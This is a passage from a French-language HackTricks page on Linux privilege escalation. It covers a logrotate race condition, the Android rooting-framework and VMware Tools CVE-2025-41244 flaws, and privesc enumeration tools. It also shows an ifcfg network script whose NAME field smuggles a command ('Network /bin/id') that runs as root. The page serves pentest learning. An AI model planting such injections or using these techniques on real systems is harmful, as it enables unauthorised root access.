Une vulnérabilité dans logrotate permet à des utilisateurs ayant des permissions d’écriture sur un fichier de log ou ses répertoires parents de potentiellement obtenir des privilèges escaladés. En effet, logrotate, souvent exécuté en tant que root, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme /etc/bash_completion.d/. Il est important de vérifier les permissions non seulement dans /var/log mais aussi dans tout répertoire où la rotation des logs est appliquée.
Tip
Cette vulnérabilité affecte
logrotateversion3.18.0et antérieures
Des informations plus détaillées sur la vulnérabilité sont disponibles sur cette page : https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
Vous pouvez exploiter cette vulnérabilité avec logrotten.
Cette vulnérabilité est très similaire à CVE-2016-1247 (nginx logs), donc chaque fois que vous constatez que vous pouvez modifier des logs, vérifiez qui gère ces logs et si vous pouvez escalader les privilèges en substituant les logs par des symlinks.
/etc/sysconfig/network-scripts/ (Centos/Redhat)
Référence de la vulnérabilité : https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
Si, pour une raison quelconque, un utilisateur est capable d’écrire un script ifcf-<whatever> dans /etc/sysconfig/network-scripts ou d’ajuster un script existant, alors votre système est pwned.
Les network scripts, ifcg-eth0 par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont ~sourced~ sur Linux par Network Manager (dispatcher.d).
Dans mon cas, l’attribut NAME= dans ces network scripts n’est pas géré correctement. Si vous avez des espaces blancs dans le nom le système essaie d’exécuter la partie après l’espace, cela signifie que tout ce qui se trouve après le premier espace est exécuté en tant que root.
Par exemple : /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Remarque : l’espace entre Network et /bin/id)
init, init.d, systemd, et rc.d
Le répertoire /etc/init.d contient des scripts pour System V init (SysVinit), le système classique de gestion des services Linux. Il inclut des scripts pour start, stop, restart, et parfois reload des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques situés dans /etc/rc?.d/. Un chemin alternatif sur les systèmes Redhat est /etc/rc.d/init.d.
En revanche, /etc/init est associé à Upstart, un système de gestion des services plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés parallèlement aux configurations Upstart en raison d’une couche de compatibilité dans Upstart.
systemd apparaît comme un gestionnaire d’initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des automounts et les snapshots de l’état du système. Il organise les fichiers dans /usr/lib/systemd/ pour les paquets de distribution et /etc/systemd/system/ pour les modifications de l’administrateur, simplifiant le processus d’administration système.
Autres astuces
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Les frameworks de rooting Android hookent souvent un syscall pour exposer des fonctionnalités kernel privilégiées à un userspace manager. Une authentification faible du manager (par ex., vérifications de signature basées sur l’ordre des FD ou schémas de mot de passe faibles) peut permettre à une application locale d’usurper le manager et d’escalader les privilèges vers root sur des appareils déjà rootés. En savoir plus et détails d’exploitation ici :
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
La découverte de services pilotée par regex dans VMware Tools/Aria Operations peut extraire un chemin binaire depuis les command lines des processus et l’exécuter avec -v dans un contexte privilégié. Des patterns permissifs (p.ex., utilisant \S) peuvent correspondre à des listeners déposés par un attaquant dans des emplacements inscriptibles (p.ex., /tmp/httpd), conduisant à une exécution en tant que root (CWE-426 Untrusted Search Path).
En savoir plus et voir un pattern généralisé applicable à d’autres stacks de discovery/monitoring ici :
Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244
Kernel Security Protections
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
Plus d’aide
Linux/Unix Privesc Tools
Meilleur outil pour rechercher des vecteurs de Linux local privilege escalation : LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Énumère les vulnérabilités du kernel sur Linux et macOS https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (accès physique): https://github.com/GDSSecurity/EvilAbigail
Recueil de scripts supplémentaires: https://github.com/1N3/PrivEsc
Références
-
0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)
-
0xdf – HTB Era: forged .text_sig payload for cron-executed monitor
-
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
-
http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
-
https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
-
https://blog.certcube.com/suid-executables-linux-privilege-escalation/
-
https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
-
0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

